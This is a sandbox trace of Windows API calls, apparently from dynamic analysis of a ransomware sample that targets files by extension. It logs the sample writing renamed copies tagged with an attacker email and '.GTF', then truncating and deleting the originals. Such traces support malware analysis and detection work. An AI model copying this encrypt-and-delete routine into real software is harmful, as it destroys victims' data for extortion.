	[0067.781] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.781] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.781] lstrlenW (lpString=".zip") returned 4
	[0067.781] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.781] lstrlenW (lpString=".rar") returned 4
	[0067.781] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.781] lstrlenW (lpString=".bz2") returned 4
	[0067.781] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.781] lstrlenW (lpString=".7z") returned 3
	[0067.781] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.781] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.781] lstrlenW (lpString=".dbf") returned 4
	[0067.781] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.782] lstrlenW (lpString=".1cd") returned 4
	[0067.782] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.782] lstrlenW (lpString=".jpg") returned 4
	[0067.782] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.782] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0067.782] lstrlenW (lpString="eula.rtf") returned 8
	[0067.782] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0067.783] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=4015) returned 1
	[0067.783] CloseHandle (hObject=0x2d0) returned 1
	[0067.783] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80
	[0067.783] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.783] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0067.783] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.783] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.783] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0067.818] GetLastError () returned 0x0
	[0067.818] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xfaf, lpOverlapped=0x0) returned 1
	[0068.299] WriteFile (in: hFile=0x2fc, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xfb0, lpOverlapped=0x0) returned 1
	[0068.301] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.301] WriteFile (in: hFile=0x2fc, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0068.301] SetEndOfFile (hFile=0x2fc) returned 1
	[0068.301] CloseHandle (hObject=0x2fc) returned 1
	[0068.302] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.302] SetEndOfFile (hFile=0x2d0) returned 1
	[0068.303] CloseHandle (hObject=0x2d0) returned 1
	[0068.303] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.303] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1
	[0068.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.303] lstrlenW (lpString=".doc") returned 4
	[0068.303] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0068.303] lstrlenW (lpString=".docx") returned 5
	[0068.303] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0068.303] lstrlenW (lpString=".pdf") returned 4
	[0068.304] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString=".xls") returned 4
	[0068.304] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0068.304] lstrlenW (lpString=".xlsx") returned 5
	[0068.304] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0068.304] lstrlenW (lpString=".ppt") returned 4
	[0068.304] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.304] lstrlenW (lpString=".zip") returned 4
	[0068.304] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0068.304] lstrlenW (lpString=".rar") returned 4
	[0068.304] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString=".bz2") returned 4
	[0068.304] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString=".7z") returned 3
	[0068.304] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0068.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.304] lstrlenW (lpString=".dbf") returned 4
	[0068.304] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.304] lstrlenW (lpString=".1cd") returned 4
	[0068.304] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.304] lstrlenW (lpString=".jpg") returned 4
	[0068.304] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.304] lstrlenW (lpString=".doc") returned 4
	[0068.304] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString=".docx") returned 5
	[0068.304] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0068.304] lstrlenW (lpString=".pdf") returned 4
	[0068.304] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0068.304] lstrlenW (lpString=".xls") returned 4
	[0068.304] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0068.304] lstrlenW (lpString=".xlsx") returned 5
	[0068.305] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0068.305] lstrlenW (lpString=".ppt") returned 4
	[0068.305] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0068.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.305] lstrlenW (lpString=".zip") returned 4
	[0068.305] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0068.305] lstrlenW (lpString=".rar") returned 4
	[0068.305] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0068.305] lstrlenW (lpString=".bz2") returned 4
	[0068.305] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0068.305] lstrlenW (lpString=".7z") returned 3
	[0068.305] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0068.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.305] lstrlenW (lpString=".dbf") returned 4
	[0068.305] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0068.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.305] lstrlenW (lpString=".1cd") returned 4
	[0068.305] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0068.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0068.305] lstrlenW (lpString=".jpg") returned 4
	[0068.305] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0068.305] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0068.305] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0068.305] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.305] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=201796) returned 1
	[0068.305] CloseHandle (hObject=0x2d0) returned 1
	[0068.306] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80
	[0068.306] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.306] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.306] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0068.306] GetLastError () returned 0x0
	[0068.306] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x31444, lpOverlapped=0x0) returned 1
	[0068.328] WriteFile (in: hFile=0x2fc, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x31450, lpOverlapped=0x0) returned 1
	[0068.333] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.333] WriteFile (in: hFile=0x2fc, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0068.333] SetEndOfFile (hFile=0x2fc) returned 1
	[0068.333] CloseHandle (hObject=0x2fc) returned 1
	[0068.338] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.338] SetEndOfFile (hFile=0x2d0) returned 1
	[0068.340] CloseHandle (hObject=0x2d0) returned 1
	[0068.340] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.340] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1
	[0068.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.346] lstrlenW (lpString=".doc") returned 4
	[0068.346] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.346] lstrlenW (lpString=".docx") returned 5
	[0068.346] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.346] lstrlenW (lpString=".pdf") returned 4
	[0068.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString=".xls") returned 4
	[0068.347] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString=".xlsx") returned 5
	[0068.347] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.347] lstrlenW (lpString=".ppt") returned 4
	[0068.347] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.347] lstrlenW (lpString=".zip") returned 4
	[0068.347] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.347] lstrlenW (lpString=".rar") returned 4
	[0068.347] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString=".bz2") returned 4
	[0068.347] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString=".7z") returned 3
	[0068.347] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.347] lstrlenW (lpString=".dbf") returned 4
	[0068.347] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.347] lstrlenW (lpString=".1cd") returned 4
	[0068.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.347] lstrlenW (lpString=".jpg") returned 4
	[0068.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.347] lstrlenW (lpString=".doc") returned 4
	[0068.347] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.347] lstrlenW (lpString=".docx") returned 5
	[0068.347] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.347] lstrlenW (lpString=".pdf") returned 4
	[0068.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.348] lstrlenW (lpString=".xls") returned 4
	[0068.348] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.348] lstrlenW (lpString=".xlsx") returned 5
	[0068.348] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.348] lstrlenW (lpString=".ppt") returned 4
	[0068.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.348] lstrlenW (lpString=".zip") returned 4
	[0068.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.348] lstrlenW (lpString=".rar") returned 4
	[0068.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.348] lstrlenW (lpString=".bz2") returned 4
	[0068.348] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.348] lstrlenW (lpString=".7z") returned 3
	[0068.348] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.348] lstrlenW (lpString=".dbf") returned 4
	[0068.348] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.348] lstrlenW (lpString=".1cd") returned 4
	[0068.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0068.348] lstrlenW (lpString=".jpg") returned 4
	[0068.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.348] lstrcmpiW (lpString1=".html", lpString2=".GTF") returned 1
	[0068.348] lstrlenW (lpString="DHtmlHeader.html") returned 16
	[0068.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0068.349] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=16118) returned 1
	[0068.349] CloseHandle (hObject=0x2d4) returned 1
	[0068.349] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80
	[0068.349] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0068.349] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.349] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0068.349] GetLastError () returned 0x0
	[0068.349] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x3ef6, lpOverlapped=0x0) returned 1
	[0068.363] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x3f00, lpOverlapped=0x0) returned 1
	[0068.364] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.364] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0068.364] SetEndOfFile (hFile=0x320) returned 1
	[0068.364] CloseHandle (hObject=0x320) returned 1
	[0068.366] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.366] SetEndOfFile (hFile=0x2d4) returned 1
	[0068.367] CloseHandle (hObject=0x2d4) returned 1
	[0068.367] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.368] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1
	[0068.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.368] lstrlenW (lpString=".doc") returned 4
	[0068.368] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0068.368] lstrlenW (lpString=".docx") returned 5
	[0068.368] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0068.368] lstrlenW (lpString=".pdf") returned 4
	[0068.368] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0068.368] lstrlenW (lpString=".xls") returned 4
	[0068.368] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0068.368] lstrlenW (lpString=".xlsx") returned 5
	[0068.368] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0068.368] lstrlenW (lpString=".ppt") returned 4
	[0068.368] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0068.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.368] lstrlenW (lpString=".zip") returned 4
	[0068.368] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0068.368] lstrlenW (lpString=".rar") returned 4
	[0068.368] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0068.368] lstrlenW (lpString=".bz2") returned 4
	[0068.368] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0068.368] lstrlenW (lpString=".7z") returned 3
	[0068.368] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0068.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.368] lstrlenW (lpString=".dbf") returned 4
	[0068.369] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.369] lstrlenW (lpString=".1cd") returned 4
	[0068.369] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.369] lstrlenW (lpString=".jpg") returned 4
	[0068.369] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.369] lstrlenW (lpString=".doc") returned 4
	[0068.369] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString=".docx") returned 5
	[0068.369] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0068.369] lstrlenW (lpString=".pdf") returned 4
	[0068.369] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString=".xls") returned 4
	[0068.369] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString=".xlsx") returned 5
	[0068.369] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0068.369] lstrlenW (lpString=".ppt") returned 4
	[0068.369] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.369] lstrlenW (lpString=".zip") returned 4
	[0068.369] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString=".rar") returned 4
	[0068.369] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString=".bz2") returned 4
	[0068.369] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0068.369] lstrlenW (lpString=".7z") returned 3
	[0068.369] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0068.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.369] lstrlenW (lpString=".dbf") returned 4
	[0068.369] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0068.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.370] lstrlenW (lpString=".1cd") returned 4
	[0068.370] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0068.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0068.370] lstrlenW (lpString=".jpg") returned 4
	[0068.370] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0068.370] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0068.370] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0068.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0068.370] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=93314) returned 1
	[0068.370] CloseHandle (hObject=0x2d4) returned 1
	[0068.370] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80
